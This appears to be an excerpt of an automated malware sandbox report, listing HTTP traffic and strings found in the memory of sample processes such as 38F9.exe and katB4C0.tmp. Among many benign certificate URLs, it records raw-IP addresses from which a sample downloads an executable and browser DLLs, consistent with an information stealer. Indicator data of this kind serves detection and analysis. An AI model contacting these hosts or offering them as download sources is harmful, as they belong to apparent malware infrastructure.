Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:55 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:56 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 20 5a 24 14 a4 6a 44 a9 ab 14 bd cc b1 fb 6d 87 2a d3 ab 77 5f 07 98 d9 8a da 63 c6 2a 1d 01 8b 0a 8c 5e 6e 55 53 b5 91 73 f2 73 ed 44 19 13 Data Ascii: #\ Z$jDm*w_c*^nUSssD
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:29:00 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:30:10 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:30:16 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:30:21 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:30:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:30:33 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:30:38 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:30:43 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:30:50 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:30:58 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:31:04 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:31:09 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:31:14 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:31:21 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:31:26 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:31:31 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:31:37 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:31:42 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:31:47 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:31:52 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:31:58 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:27060
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.235.137.54/file/host_so.exe
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 38F9.exe, 00000006.00000003.2067870291.0000000002C92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 38F9.exe, 00000006.00000003.2067870291.0000000002C92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: explorer.exe, 00000001.00000000.1721748248.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1723237920.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 38F9.exe, 00000006.00000003.2067870291.0000000002C92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 38F9.exe, 00000006.00000003.2067870291.0000000002C92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 38F9.exe, 00000006.00000003.2067870291.0000000002C92000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: explorer.exe, 00000001.00000000.1721748248.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1723237920.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 38F9.exe, 00000006.00000003.2067870291.0000000002C92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: explorer.exe, 00000001.00000000.1721748248.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1723237920.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 38F9.exe, 00000006.00000003.2067870291.0000000002C92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: explorer.exe, 00000001.00000000.1721748248.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1723237920.000000000982D000.00000004.00000001.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2067870291.0000000002C92000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://ocsp.digicert.com0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://ocsp.digicert.com0N
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: explorer.exe, 00000001.00000000.1721748248.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: 38F9.exe, 00000006.00000003.2067870291.0000000002C92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: D818.exe, 0000000A.00000002.2305592154.0000000004270000.00000040.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000000.2303573483.00000000004B4000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://rpi.net.au/~ajohnson/resourcehacker
Source: explorer.exe, 00000001.00000000.1724106836.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1722399580.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1722761603.0000000008720000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://schemas.micro
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2367775910.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2367775910.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2367775910.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: katB4C0.tmp, katB4C0.tmp, 0000000B.00000002.2822044307.000000006D0CD000.00000002.00000001.01000000.0000000D.sdmp, mozglue[1].dll.11.dr String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: katB4C0.tmp, 0000000B.00000002.2810229470.000000001DE0D000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.11.dr String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 38F9.exe, 00000006.00000003.2067870291.0000000002C92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: 38F9.exe, 00000006.00000003.2067870291.0000000002C92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: 76561199689717899[1].htm.11.dr String found in binary or memory: https://65.109.242.59
Source: katB4C0.tmp, 0000000B.00000003.2336765418.0000000000992000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2485038714.00000000009FC000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2459479355.00000000009F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/
Source: katB4C0.tmp, 0000000B.00000003.2367775910.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009AA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/&
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2367775910.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009AA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/(
Source: katB4C0.tmp, 0000000B.00000003.2658098297.0000000000996000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/-
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009B3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/09.242.59/
Source: katB4C0.tmp, 0000000B.00000003.2459479355.00000000009F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/2
Source: katB4C0.tmp, 0000000B.00000003.2399303935.00000000009AA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/4
Source: katB4C0.tmp, 0000000B.00000003.2399303935.0000000000993000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2471122571.00000000009F5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/A
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009B3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/B
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/C
Source: katB4C0.tmp, 0000000B.00000003.2399303935.0000000000993000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/E
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/F
Source: katB4C0.tmp, 0000000B.00000003.2367775910.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009AA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/L
Source: katB4C0.tmp, 0000000B.00000003.2367775910.0000000000993000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/M
Source: katB4C0.tmp, 0000000B.00000003.2399303935.00000000009B3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/RA
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/T
Source: katB4C0.tmp, 0000000B.00000003.2459479355.00000000009F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/V
Source: katB4C0.tmp, 0000000B.00000003.2367775910.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009AA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/Z
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/c
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/freebl3.dll
Source: katB4C0.tmp, 0000000B.00000003.2399303935.00000000009AA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/g
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009B3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/h
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.00000000009BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/mozglue.dll
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.00000000009BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/mozglue.dllA
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.0000000000953000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/msvcp140.dll
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009F7000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.00000000009F6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/nss3.dll
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009F7000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.00000000009F6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/nss3.dllD
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/q
Source: katB4C0.tmp, 0000000B.00000003.2512766694.00000000009F6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/s
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.00000000009BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/softokn3.dll
Source: katB4C0.tmp, 0000000B.00000002.2791549428.000000000095D000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.0000000000953000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/sqls.dll
Source: katB4C0.tmp, 0000000B.00000002.2791549428.000000000095D000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.0000000000953000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/sqls.dllz
Source: katB4C0.tmp, 0000000B.00000003.2658098297.00000000009B3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/ss3.dll
Source: katB4C0.tmp, 0000000B.00000003.2367775910.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009A9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/u
Source: katB4C0.tmp, 0000000B.00000003.2658098297.000000000097D000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.000000000097D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/vcruntime140.dll
